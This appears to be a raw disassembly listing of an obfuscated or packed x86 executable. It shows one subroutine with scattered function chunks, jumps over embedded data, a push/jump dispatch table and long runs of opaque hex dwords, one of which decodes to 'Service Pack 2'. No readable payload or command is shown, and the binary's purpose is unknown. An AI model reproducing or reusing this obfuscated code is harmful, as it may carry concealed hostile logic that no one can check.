		mov	esi, 1B13C697h
		lds	eax, [edi]
		scasd

; =============== S U B	R O U T	I N E =======================================



sub_5BB696	proc near		; CODE XREF: sdfs____:005BB67Ep

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= dword	ptr -16h
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058B97E SIZE 0000004D BYTES
; FUNCTION CHUNK AT 0058BC88 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058BF25 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058C3EC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C873 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058D0C8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058D630 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058D801 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058F512 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058F906 SIZE 0000005A BYTES
; FUNCTION CHUNK AT 0058FA27 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058FDBC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005901E5 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00590B62 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00590BE1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00591300 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059132A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059194A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591C9E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005948DB SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005949FF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00594CBD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00594E0B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005950FA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005954DE SIZE 00000058 BYTES
; FUNCTION CHUNK AT 0059553C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00595938 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00596153 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005965FA SIZE 0000003D BYTES
; FUNCTION CHUNK AT 00597E15 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00598AA0 SIZE 0000000A BYTES

		jno	$+6
		pop	eax


loc_5BB69D:				; CODE XREF: sdfs____:005BB678j
		jnz	loc_5BB6A9
		xor	edx, 55F7194Fh


loc_5BB6A9:				; CODE XREF: sub_5BB696:loc_5BB69Dj
		sub	edi, 4
		mov	ax, bx
		cmp	edi, 0FFFFA6A0h
		jnz	loc_5BB6C9
		movsx	eax, dx
		jmp	loc_5BB6EC
; ---------------------------------------------------------------------------
		db 57h
		dd 23ABB93Ah
		db 70h
; ---------------------------------------------------------------------------


loc_5BB6C9:				; CODE XREF: sub_5BB696+1Fj
		jmp	loc_5BB6E0
; ---------------------------------------------------------------------------
		dw 0EF6h
		dd 2B6D59FBh, 19BBFD81h, 0E3AC4D54h, 1327BE0Eh
; ---------------------------------------------------------------------------


loc_5BB6E0:				; CODE XREF: sub_5BB696:loc_5BB6C9j
		jmp	loc_5BB620
; ---------------------------------------------------------------------------
		db 0D2h, 0EBh, 2Bh
		dd 0C2C2AD97h
; ---------------------------------------------------------------------------


loc_5BB6EC:				; CODE XREF: sub_5BB696+28j
		jmp	loc_5BB836
; ---------------------------------------------------------------------------
		db 0F7h, 0F5h, 0F7h
		dd 95ECE728h, 715893DAh, 0B6CFDF06h, 5D54FDBEh,	0ECA43636h
		dd 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h
		dd 0ACAC3252h, 46BF009Ch, 90ADFC6Ch, 0A3365973h, 72E275D6h
		dd 90BD9Ch, 8CE693DDh, 0A592A79Bh, 0A7ABDD64h, 918F9792h
		dd 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh, 0E592B69Fh, 0BDF694B6h
		dd 0B3EBB59Eh, 93D0EC96h, 97BF999Ch, 0F55CFD7Bh, 0AFF49389h
		dd 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h, 622D4457h,	0AE29B0F3h
		dd 2Ch,	34h, 38h, 2 dup(0)
		dd 4, 94h, 5, 1, 0A28h,	2, 76726553h, 20656369h, 6B636150h
		dd 3220h, 1Eh dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5BB836:				; CODE XREF: sub_5BB696:loc_5BB6ECj
		jmp	loc_5BD923
; ---------------------------------------------------------------------------
		push	7EC7CC5h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC7DD7h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC7E73h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC7F2Ch
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC8012h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC80E7h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC81BAh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC829Fh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC8705h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC877Bh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC88CBh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC8BFDh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC8F4Fh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC92DBh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC947Dh
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC94E5h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC9549h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC95B0h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC9757h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC9841h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7EC9A00h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 19h,	0F2h, 82h
		dd 0CFAD41F3h, 1A648A26h, 6BE9399Bh, 0B1CB6ECAh, 2F8BAC3Ch
		dd 51C3720Ah, 8731BC40h, 0CB650870h, 0B9DE5721h, 49F4B4EDh
		dd 0EE1C2870h, 0D6A04AB8h, 0CEA8420Eh, 0D2EC727h, 0E4E70A67h
		dd 0CF6A07F3h, 9934CE58h, 0AB2746Fh, 21200856h,	37B59C42h
		dd 13F25250h, 28739CB7h, 3E361B1h, 5D9A3B7h, 9D86067Bh
		dd 148E2873h, 2BCE6F61h, 0FC13B70Ah, 0D0881EB0h, 744C8D2Ch
		dd 0F28C1A47h, 4Ah, 0CEED78D0h,	4E8ECB0Dh, 2EF688AEh, 772A0694h
		dd 0A8D973E4h, 37B58829h, 14A13B69h, 0C6D2F8C5h, 0C864CC7Ah
		dd 72C67D59h, 3EDF6328h, 3CE92DB8h, 94FA9A2Ch, 815D1F30h
		dd 2C943703h, 18C19E4h,	6FCBB145h, 10732h, 0A04A9000h
		dd 0AF420ED6h, 942AAAFBh, 0FFA73E48h, 27D036C6h, 39506B65h
		dd 0D4EB50ACh, 0D8EA3A40h, 20CAEE4Ah, 28C28E56h, 1FA0A74Eh
		dd 0BB305C7Eh, 0EEAEE391h, 26305C7Dh, 0D547EE7Ch, 14E93547h
		dd 85FC8E19h, 37B56C32h, 4C08A200h, 770DD1ABh, 1DA836BBh
		dd 0AEA7AC72h, 0D5886026h, 463BCD5Ah, 2FC7ECF8h, 52660994h
		dd 1DB4136Bh, 0CA63FD8Fh, 0EED64641h, 0D95B4A2Ch, 1E97F05h
		dd 62F48095h, 5EACCFCBh, 0BC4E444Ch, 8826C5C5h,	9D554F20h
		dd 0EC91A410h, 91A70896h, 640DA361h, 3C30D28Fh,	0E73E91ADh
		dd 8F00001Dh, 37610C6Ch, 78D45923h, 0AF09A4D6h,	0DC78F577h
		dd 3AB24339h, 0FC789DFDh, 4ECEC771h, 9AE275A7h,	0E193B91Bh
		dd 27F2B4Ch, 28704982h,	4A0A7892h, 0AA43D5A7h, 55F5FF20h
		dd 0D2F96026h, 4C816BEh, 9E4EE776h, 25D52B47h, 0C654C0CDh
		dd 6ABA22B4h, 0A28E14E8h, 7C35CF5Fh, 305C403Ch,	0A062CED4h
		dd 0A537A0B3h, 0B5AAEDECh, 60F75F37h, 9988C418h, 2BB9CB1Bh
		dd 0F78123CFh, 46B2CA6Fh, 0AA5F7B2Ah, 0F9052873h, 0D00FA650h
		dd 0C1D4E582h, 89F306C6h, 7AA262A1h, 0B4DC8C1Ah, 0E6000000h
		dd 0DFD2A04Ah, 305CC4DFh, 1DD7331h, 8D4A0B5h, 5CC15899h
		dd 1E58F230h, 0A84F1797h, 0BA760CD0h, 5CB4FC1Eh, 21F448DEh
		dd 9A17A136h, 37B5AF47h, 0ADAB2EFh, 3971D43Fh, 30B5EDA0h
		dd 0E86C0297h, 0D9EB3BB9h, 64F7AA4Bh, 512859F3h, 9B2FC783h
		dd 815D1F33h, 594B3703h, 8AF207CFh, 0C7E27BEBh,	0A709D4A0h
		dd 50E5D119h, 9D828D24h, 0B2823C31h, 1CD51Dh, 0FE7E9D00h
		dd 4B31C577h, 96E80EAAh, 0E765BD1Fh, 2D4FE24Eh,	0A30F2880h
		dd 0D547EE8Eh, 1BB538BCh, 4FE984F4h, 3D22D3ADh,	48703061h
		dd 6AA02870h, 0D5A74A34h, 4749B43h, 0E577A12Ch,	4AA81A9Bh
		dd 420ED6A0h, 8027CEA8h, 0DC7DF864h, 0E7FD413Bh, 17CAC751h
		dd 9F37B59Fh, 58700105h, 0E9C5062Fh, 874FD94Eh,	0BD7D0870h
		dd 0F17C98FDh, 255C4AA6h, 733DB302h, 0FFB29210h, 6CE9EC7Ch
		dd 3D5FFDAEh, 0C641DAFh, 0A46B5475h, 4AE06CFEh,	12B8528h
		dd 0B88DFA77h, 1B2BE7AEh, 1C39A4h, 62123900h, 0AFCD61D3h
		dd 0FA84AA06h, 4BC9D97Bh, 91EB0EAAh, 0CFAB8C1Ch, 71A3522Ah
		dd 0A7119C20h, 0EB45E890h, 0D9BE3741h, 46D4D4CDh, 0E3C2870h
		dd 86ED7858h, 2C6093E9h, 0DDCE48B5h, 0B341D853h, 11A80C1Ah
		dd 99514AC3h, 815D1F3Dh, 24B621CCh, 0B514266Dh,	3FB6EC37h
		dd 41ECE8E8h, 9A4D44D6h, 182FCBEEh, 2EF3828Ah, 1AE7B78Eh
		dd 16E29CB2h, 0BD4FD85Bh, 316761C4h, 13F3B160h,	0B244D35Eh
		dd 68296918h, 0D2350EFh, 0F7812373h, 0EF67FABAh, 0A0881A50h
		dd 2D334B46h, 277D5848h, 5123C995h, 779A42DCh, 0CC504105h
		dd 12867270h, 9CF37EF8h, 38D4B27Fh, 1B80B324h, 0D5660000h
		dd 8AAE0AABh, 3DD37DF0h, 0E06B243h, 0A2B7E18Ch,	64C55BDAh
		dd 1A9BE174h, 48E567BEh, 0BC314BECh, 0F578FA10h, 1B9B1690h
		dd 0F5287046h, 0A04AE1C7h, 0F105B1E0h, 0BF51F58Bh, 0CD6361BDh
		dd 4AEF7771h, 0C53B7B36h, 0CFD5305Ch, 313CF139h, 0E37A14A6h
		dd 52ED4E28h, 0ADE460EEh, 0EB02C32Fh, 0CB37B58Dh, 1E8D54D9h
		dd 700A9D98h, 279B4FE6h, 0C4754EA2h, 586A9D6Ch,	6C482FCCh
		dd 9721B735h, 2051D7CFh, 208A5860h, 945CF2B0h, 0A01FD160h
		dd 0B1BC9D22h, 3A1D9426h, 0D88B3A77h, 0B4A77ACAh, 9B347D24h
		dd 0F7720B75h, 0BB4DE337h, 509AAEC6h, 0A9C0683h, 27CEA842h
		dd 83FD1FC7h, 2C6C25A3h, 0E4740E9Bh, 0D4C028BEh, 0D5223346h
		dd 817CBB2Bh, 0E5E9010h, 8C228074h, 0C25022C8h,	0AA8F4A37h
		dd 0C5FA4A8Fh, 1A9Ah, 2CC1B358h, 670E6C80h, 0D4592335h
		dd 0BAA2878h, 7DF084A9h, 0CB6E4AEFh, 81903CB1h,	31C67203h
		dd 0E00AA64Fh, 2C761F96h, 70453575h, 0FFADDF28h, 0F3B3EE78h
		dd 1D305CC4h, 0ED0FAB87h, 956CF993h, 0DB2CA2F6h, 0C428CEE1h
		dd 374FDD31h, 47D2A7FBh, 704B46D0h, 0C637B51Ch,	93824ADCh
		dd 0D85CB511h, 2FB27E04h, 64F7EDF8h, 0D2CF59F3h, 28731BD2h
		dd 0BD3F5642h, 0ACE5C32Fh, 2FCBF639h, 52E32B79h, 0FD484168h
		dd 7B0D9A95h, 0A01A2306h, 0A84D092Ah, 0EA7270CCh, 0D9EB3B45h
		dd 0EF376D11h, 0FE881F1Ah, 18BC3E56h, 3CAA86F4h, 0B6E02D45h
		dd 8B1D8722h, 0D4CD67F1h, 1374DFD4h, 7333663Ch,	9D1374E0h
		dd 6D8F2B07h, 24366213h, 0D94DF5Ah, 14282F03h, 19C5A3h
		dd 0EE8EAD00h, 3B41D547h, 86F81EBAh, 0D7554DEFh, 1D5FF25Eh
		dd 0B31F1890h, 0E557DE9Eh, 2B8528ACh, 5FF97404h, 4D32C3BDh
		dd 45602051h, 9AB02870h, 0B3EE7824h, 305CC4F3h,	583440D5h
		dd 20CAEE4Ah, 383B8E56h, 0C4B6F6ABh, 445E305Ch,	626D24B6h
		dd 0CA37B590h, 1CB13933h, 0D31F4EFFh, 29F8752Fh, 95022DA9h
		dd 0B1DC6903h, 0A01F66D0h, 0B3262713h, 32FCC65h, 0AA4F17A1h
		dd 867772D2h, 9A478F68h, 1B7FBB49h, 53D1C18Dh, 688BE6E7h
		dd 1F1A93C3h, 19E567BEh, 51D3C38Bh, 0D761F78Dh,	0CA80913Dh
		dd 0FA885426h, 2E0A9864h, 1A41FC5Fh, 0B4881A94h, 57E176E1h
		dd 3108425Ah, 0A630728Ch, 0C8621C3Eh, 5B97150Ch, 2650FA56h
		dd 8954D28Bh, 4D62F280h, 18F2h,	94195BF0h, 0CF661438h
		dd 3CB1CB6Dh, 73028090h, 0A5482CC1h, 7386F237h,	0D9C86409h
		dd 0D97EDA5Bh, 88A20EA7h, 841E47EEh, 70448D0Dh,	17758728h
		dd 0EFED78h, 764AACAAh,	82FC1EBAh, 0DB4CEFA2h, 0F8D8541h
		dd 0A32BC523h, 0D882EA8Fh, 1F10F597h, 0C32FB589h, 0B0814402h
		dd 0A03A6837h, 9A6A1024h, 9864E63Eh, 2ABC740Ah,	0E8E988A2h
		dd 6F0DBDF0h, 9F671539h, 57E17705h, 0B5116B8Fh,	780ADAA2h
		dd 24B12DB0h, 0BE0F771Eh, 9968C0C2h, 286F2CA9h,	8F26A5BAh
		dd 0C06D0F2Dh, 831582ADh, 0C3B3500Eh, 950CA62Fh, 2082B415h
		dd 0C29AD506h, 5E36343Ch, 13918044h, 9579B133h,	3DD17D0Fh
		dd 0F61AB63Fh, 0A62EB884h, 881AEA94h, 0F70383FEh, 970D2081h
		dd 95DD7F5Bh, 9E24F87Ch, 26D26108h, 52E23C3Eh, 180D7Dh
		dd 3646D500h, 83F91DBFh, 0CEB046F2h, 1F9DF527h,	65173A96h
		dd 0FBD750C8h, 2D8F2656h, 53FD70F4h, 8731BCBCh,	56A0B75h
		dd 42A8E899h, 52682870h, 37A0B36Ch, 4A6EECA5h, 1CB837B1h
		dd 21A383F9h, 0ED7F25C9h, 1DA8CC61h, 83129207h,	4D5B9796h
		dd 64096B81h, 6FA83C31h, 4C75B03Ch, 23BD4FDDh, 702F2E6Eh
		dd 74BCE628h, 2F733F72h, 9D2870h, 0CEAC95ABh, 6ABA4896h
		dd 0CFCFC25Ch, 41287078h, 0DBF69763h, 93287078h, 913D0183h
		dd 6526FE7Eh, 2D64923Bh, 2870796Dh, 0F36FFDA7h,	8C48AE4Fh
		dd 0B2300C6Eh, 287B4546h, 25B08C1Dh, 15382BEDh,	0F835FD10h
		dd 5Bh
		dd 5D5D54EEh, 0B7286FDBh, 0B38705EDh, 0E69B2DBAh, 305CC4A2h
		dd 3EA63072h, 0B9965E7h, 0B612F32Fh, 0AA305CC4h, 66FF07A6h
		dd 1B333066h, 8E3DF5E9h, 84311D36h, 22B0h, 449F1200h, 0C3305CC5h
		dd 7C35C750h, 37B5A13Dh, 0EE6EA72Fh, 99198816h,	7B2873A0h
		dd 0B35F9B29h, 78C67CF1h, 0C4F3B3EEh, 0B11D305Ch, 0EE4AD89Ch
		dd 25B72033h, 1CE094B9h, 453CAA86h, 37B5A992h, 16A28220h
		dd 6BFB7A04h, 4A4A47D1h, 0CA2873A9h, 0A8E9A9D8h, 792B2873h
		dd 0B3F705B1h, 0FEEAD899h, 0A69BB4B3h, 16A28210h, 0D1AB4F03h
		dd 0F42DA943h, 6864B870h, 626EB6C4h, 6450ACCEh,	0E22ABD1h
		dd 51D4946Fh, 788EBAE1h, 20C963EAh, 922456E4h, 670C76FBh
		dd 0E2583055h, 0D9EBAB81h, 1D16A735h, 0F7632AAFh, 0DA767BB7h
		dd 28B44630h, 81017006h, 93287300h, 21A38311h, 710B95C9h
		dd 73008000h, 26129028h, 0ED7FE80Bh, 0CBCF39B4h, 8A2B792Fh
		dd 92720C2Eh, 342812F3h, 0FAA3B578h, 0A3522CCEh, 7719B43h
		dd 0D21A53Fh, 517836Fh,	0D165E17Bh, 7107859Dh, 6E0E21ADh
		dd 0F0DC10D8h, 0ADC222A0h, 59F402ABh, 1047FC52h, 0E2D622C3h
		dd 15872E48h, 0CCAC4307h, 0AA47473Ah, 0DBC9A853h, 924F945h
		dd 82950C9Eh, 30AFAC9Bh, 0BB51C372h, 0CC10688Fh, 0F0DC20B6h
		dd 0F6C323A1h, 0A13BBB62h, 6A9AB0F0h, 0FA78A8A0h, 0AEF4982Ah
		dd 0BAC45642h, 173993Bh, 5ACD683Dh, 8F0D04C0h, 0E3C52DB7h
		dd 0C380A3AEh, 27B1F3A7h, 7209F08Dh, 86FC740Eh,	81179313h
		dd 0CB277D98h, 0B6C06AC6h, 0EA68B824h, 0CA0881Ah, 81183995h
		dd 4FEEE288h, 75F72FB7h, 0FBDF1BA9h, 0FB952751h, 18703061h
		dd 2A08881h, 81180F8Fh,	57A30188h, 3349EE4Ah, 81183E7Eh
		dd 8CCD688h, 394B9B19h,	814D5BABh, 0F521096Bh, 73C81460h
		dd 36B6EF77h, 0FF796FAh, 0ECE4E47h, 7D5991EBh, 4C08A2DAh
		dd 7270CCAEh, 11AB3B86h, 81182060h, 46B2F088h, 29C3BD52h
		dd 0E7F58AADh, 0B841B2F1h, 0BBF743D1h, 0B985071Fh, 9751F81Ch
		dd 0E975F880h, 18B2CA6Dh, 81532969h, 71B9EB88h,	30CAB245h
		dd 52ABEBA6h, 3F658881h, 4FEABFF3h, 0A0534ED8h,	168FDA37h
		dd 3160FA8Ch, 80983771h, 0F52901A3h, 29DB8282h,	5DFF7606h
		dd 0A32BBDBFh, 8C16EE8Eh, 0AE4C08A4h, 7E923ACCh, 56A220FCh
		dd 9E3F411Ah, 3FB6C06Ah, 0F56E3A8Ah, 40B433h, 932A0000h
		dd 0C171AFA4h, 0A567D3BCh, 14DCA54Ah, 0CE820149h, 0DE680290h
		dd 5CB9E3A3h, 0BB772D30h, 10879267h, 423CDE86h,	0DE81F0F6h
		dd 0B437B593h, 4DE747EEh, 73945454h, 0AE6BC28h,	3BB5h
		dd 0A54ACD00h, 0FAB741DBh, 305CC4BAh, 39BC4F5Ah, 39933BC1h
		dd 6F0923ABh, 9F9A6F83h, 0C0541C3Eh, 0CA586ABAh, 103AA234h
		dd 651C8A66h, 37B573EAh, 0E3A3DEC8h, 2D287373h,	0F64CE177h
		dd 3410ED78h, 8B689E25h, 76AC3F99h, 0C632C0F3h,	809327A7h
		dd 0C9D98517h, 1E9FB4Bh, 0D1F7EAA7h, 994537B4h,	5DDF3773h
		dd 0D86D0381h, 0ED13DF0Ah, 1FC32FC3h, 2859F385h, 2873A768h
		dd 0DA3EFAA8h, 8CEE00CCh, 7C632B0h, 0FCA29087h,	902ABDB8h
		dd 900B8B06h, 9F0533C0h, 8B67193Fh, 68C1641Dh, 53513B19h
		dd 0A4333EF3h, 0D6A04A12h, 7D158C1Ah, 3733302Eh, 8642DB6Dh
		dd 0BDB88BD3h, 0DC786ECAh, 6CEF3B3Eh, 44D1AB4Fh, 8E1C7832h
		dd 0E3A7B5E7h, 11982E4Eh, 3F8A0A48h, 0A7C3F448h, 4F000013h
		dd 0F721CCACh, 38941963h, 6FC96416h, 9C38B537h,	0FA720379h
		dd 0BCB85D3Dh, 0E8E8731h, 5A223567h, 0A1D379DBh, 423F6B0Ch
		dd 28703E42h, 9FCAB8D2h, 305CC41Fh, 28C255C0h, 0B5AFEE79h
		dd 1EC75E37h, 6CEE2679h, 1C7B1290h, 3E220E8Ch, 0AD38D264h
		dd 2CAD6A68h, 9602EE5Fh, 0E16DFF81h, 0D3D12D4Fh, 193E9A67h
		dd 19339F67h, 6B7FD25Fh, 0C905340Dh, 133196h, 5A1A3100h
		dd 0A7D579DBh, 0F28CA20Eh, 43C1D143h, 89F306B2h, 0C7B374E4h
		dd 9AB4A32h, 0BF199418h, 0E34DE098h, 0E1862F49h, 3DCCCCC5h
		dd 36442870h, 64ED7850h, 612431DCh, 5473F29h, 803D8E70h
		dd 0ED7AF5A8h, 22A2F35Bh, 96A1D0D6h, 637B4E9h, 6AC6B85Eh
		dd 0C28A1C86h, 77A14C2Eh, 0F676AFE3h, 5A029C60h, 0B561C94Bh
		dd 9B43D5A7h, 0A93B0B75h, 6B28A21Ch, 32FE992Ch,	3D3FD2FEh
		dd 3147D5E1h, 73824040h, 3CD2D028h, 44E52BE0h, 0A24B4DB6h
		dd 5B60B954h, 6D065FF5h, 7FFD1185h, 30B62FF6h, 811CAE21h
		dd 0D7D38ADEh, 0D69C123h, 17EF8DA1h, 72CF536Eh,	0CD891F28h
		dd 749850D4h, 1A9721D5h, 2872CE9Ah, 489D287Ah, 0F84CD1Ah
		dd 0DA7E5A96h, 64FA8496h, 0B1CB6FC9h, 0A9D986Dh, 0EBABE670h
		dd 252872F2h, 7C35B37Fh, 2FC7791Eh, 35CD1792h, 0AD32A540h
		dd 6BF38D1Fh, 546EB6C6h, 6012389Ch, 0AFC963CDh,	978257h
		dd 3648EE76h, 5CB5ECFAh, 5627DA60h, 58A4D67Ah, 1E6BB34Ah
		dd 675653E2h, 5FAE47D1h, 6471E45Ah, 77DFC921h, 45019BE5h
		dd 6F75C9B3h, 78923E83h, 0C05326FEh, 91CCC557h,	211FF236h
		dd 6641F683h, 0FF772C48h, 11E1C8h, 0A6A8100h, 5725C96Bh
		dd 0A2DC72DEh, 0F371A113h, 3943D642h, 970324B4h, 0D97BFA82h
		dd 0FA944C8h, 0B31D90E8h, 3156DF99h, 3D7C3C75h,	66942870h
		dd 0C5189F00h, 2136305Ch, 9083D65Fh, 0BB3C7507h, 0D737B14Ch
		dd 0FD1056FBh, 8F1DA77Fh, 0D9F2DB7h, 20CDAF41h,	38DC78E2h
		dd 8E0E242h, 0B0D449BBh, 16EA584h, 0B33D0000h, 88F204A5h
		dd 51E460FAh, 61C9DB2Bh, 0AE0978A3h, 0B2305CC5h, 0EE78BE2Ch
		dd 5CC4F3B3h, 9EB11D30h, 6E048DEh, 0DFDFD26Ch, 31305CC4h
		dd 2058773h, 0A6B3835Fh, 0E6248331h, 0BD33A4B3h, 0DC78B80Ah
		dd 9E1C7438h, 42AE3408h, 30D46F41h, 3A8FB9h, 0B3DB0000h
		dd 788331A6h, 5CC5AE09h, 0B6E77E30h, 954A7FCBh,	56AEC862h
		dd 752CBE4Ch, 305C7635h, 816DC5DFh, 0DF7FFD15h,	0E1E3433Dh
		dd 0CA789D53h, 64DAA44Ah, 5351DB77h, 0F1000000h, 0F507A6B3h
		dd 51D3C38Bh, 0F361F78Dh, 0C5AE0978h, 28B2305Ch, 5CC53979h
		dd 3CC9DB30h, 0D30FC20Eh, 994FDD02h, 0F3B3EE78h, 1D305CC4h
		dd 49DF9DB1h, 18283FBCh, 5E9A7388h, 0A44A9A48h,	708440DAh
		dd 779C2E0Ah, 0A8F965FFh, 0C5357524h, 0C5DF305Ch, 0DC785F6Dh
		dd 728646C4h, 11E32008h, 6DB930D4h, 2Dh, 6934C451h, 51DEC321h
		dd 27CACAC7h, 584A335Ch, 0A4B33290h, 978BD33h, 305CC5AEh
		dd 78A81E84h, 0D4A64ACAh, 51DB7766h, 39h, 39DC78F1h, 0B8F8A943h
		dd 58305CC4h, 2433EE4Ah, 9783DB3h, 305CC5AEh, 78BE2CB2h
		dd 0B3EE78CAh, 305CC4F3h, 593547D5h, 27CBEF4Bh,	0B52AC355h
		dd 592F7A7Ch, 77CDFF3Bh, 0FE9351DBh, 38D5FFFFh,	7A6DA9F8h
		dd 45453C35h, 0CF305CC0h, 0D9EB47D5h, 0A537A0B3h, 0B14A6EECh
		dd 0D6604237h, 4F97E90Eh, 51EBFD35h, 4ACACAC7h,	584A2870h
		dd 501CC5CDh, 6F22A20h,	77FE7892h, 64245DF7h, 0AC2870C1h
		dd 0C0FFBFF2h, 93112870h, 0E77835FDh, 0DBDBD660h, 0CF2870C0h
		dd 9DFC8936h, 6FDEA4E4h, 0A7366C28h, 0E44CD1C2h, 0AB5AAAF8h
		dd 28703BE5h, 4CAA53FFh, 370F6D80h, 7E4645ADh, 0F88C1D65h
		dd 4Bh,	0C5439FCAh, 7E17305Ch, 0BBF2FFE5h, 0F686A9C5h
		dd 0E2C8860h, 2782C16Ch, 3E305C2Fh, 4A12A433h, 9610D85Ah
		dd 0C24050FCh, 0FA6C9776h, 74D037B4h, 3E4498E2h, 0E1900EF2h
		dd 2872F9A1h, 18E494BBh, 0A980A8Ah, 0D5D26Bh
		dd 0B36C0000h, 8A537A0h, 476B0F62h, 62F55122h, 0D9C8DE1Ah
		dd 37B4FDCEh, 0CC5E44h,	53FB8DEFh, 6163C3BDh, 329A0489h
		dd 2D8961E3h, 0A5DC760Ah, 2872FDE5h, 8404752Fh,	8C2872FEh
		dd 0E9BC8016h, 524FD94Eh, 2FC7840Ch, 0CC882280h, 0AD2F672Bh
		dd 7CF08D1Fh, 0D52A51ACh, 13BD00E8h, 0E2A64AFCh, 0F9D334Dh
		dd 60F76237h, 454EDBD6h, 0E2C027DBh, 7727BE48h,	0DDDABE21h
		dd 16494938h, 0D9CB189Ah, 2DCF9711h, 59A5D765h,	9C38B54Bh
		dd 5B25CA7Eh, 484FD8Bh,	0C189A16h, 0C7720096h, 24264750h
		dd 0AFCFE07Ch, 0B700000Eh, 0FF59D4A4h, 208C215Bh, 57C16C0Eh
		dd 8430BD3Fh, 0F26A0B71h, 0C4B04535h, 16968F29h, 621A3D9Fh
		dd 0A9CB61D3h, 4A476304h, 28703A4Ah, 4AD2B0CAh,	420ED6A0h
		dd 0A576CEA8h, 0E476B25Bh, 4D44009Ah, 856D77CFh, 0DC398B38h
		dd 64FE8430h, 5CCD6D2Dh, 35FDA730h, 40F8h, 0A0B3CA00h
		dd 49ECA537h, 0C937B59Dh, 0D17D0BDBh, 849C383Ch, 4CA43E06h
		dd 3DB0C268h, 6DFF7993h, 0D4284CE1h, 7BCE62CEh,	76366BF8h
		dd 9E28739Eh, 805C1E32h, 4CDE6C02h, 0CC934A55h,	5BDAC82Fh
		dd 0D4A64AEFh, 215BFF59h, 0C55B24DDh, 0D87F305Ch, 3232FBA7h
		dd 3CB5B4Fh, 76FF8DEFh,	15A73023h, 49D0A549h, 0A3334E62h
		dd 576DB147h, 4DCCCCC5h, 5E44305Ch, 519D1492h, 4337B0D5h
		dd 0E90FD761h, 5DA41E97h, 84B0D463h, 17183h, 0A5B32700h
		dd 97368235h, 40D6293Ch, 25651CB6h, 0EF305BD4h,	7DFF11B5h
		dd 0F5D723A1h, 0C5AE0978h, 2CB2305Ch, 2CA78BEh,	0A6B3835Fh
		dd 1A3FA731h, 24349662h, 38DC78E6h, 1E600B45h, 31C77553h
		dd 9A0D24F9h, 0FF657500h, 1A9C3830h, 0B80AECDEh, 43C5DC78h
		dd 5CC54E4Eh, 4EDCC630h, 0D3CF21E2h, 0C964B930h, 0BD915F8Ch
		dd 65F75745h, 71B9CB1Bh, 3E3Ch,	0A6B38600h, 0F98FF107h
		dd 66EE784Bh, 485AAAD4h, 0C4C6E1E0h, 316C305Ch,	40891884h
		dd 2ABC52DEh, 2DF173A2h, 11ED8FA1h, 9735FD93h, 0A44ACA78h
		dd 0DB7764DAh, 47C5DC78h, 41D4EBh, 0B36E0000h, 788331A6h
		dd 5CC5AE09h, 7928B230h, 305CC539h, 0A13BC9DBh,	98641025h
		dd 789C2E0Ah, 0C4F3B3EEh, 871D305Ch, 3BA33DABh,	0BCBC5317h
		dd 3ACC6260h, 5CC54747h, 1FDBC930h, 0DAA44AADh,	78DB7764h
		dd 1B0A3EDCh, 9C2F0B99h, 0B930D414h, 0E19BBD19h, 43D409h
		dd 0B3EE0000h, 0F9933A4h, 5CC51292h, 48A00230h,	0AE09787Ah
		dd 84305CC5h, 0DC78A81Eh, 0E6FC403Ah, 5A029C0Ah, 7F32C4B6h
		dd 305CC53Fh, 0A567D3D1h, 66D4A64Ah, 0ED78DB77h, 2E7856BDh
		dd 0C7F83078h, 20h, 5A4B31Fh, 2FB589F3h, 29F577AFh, 7857059Bh
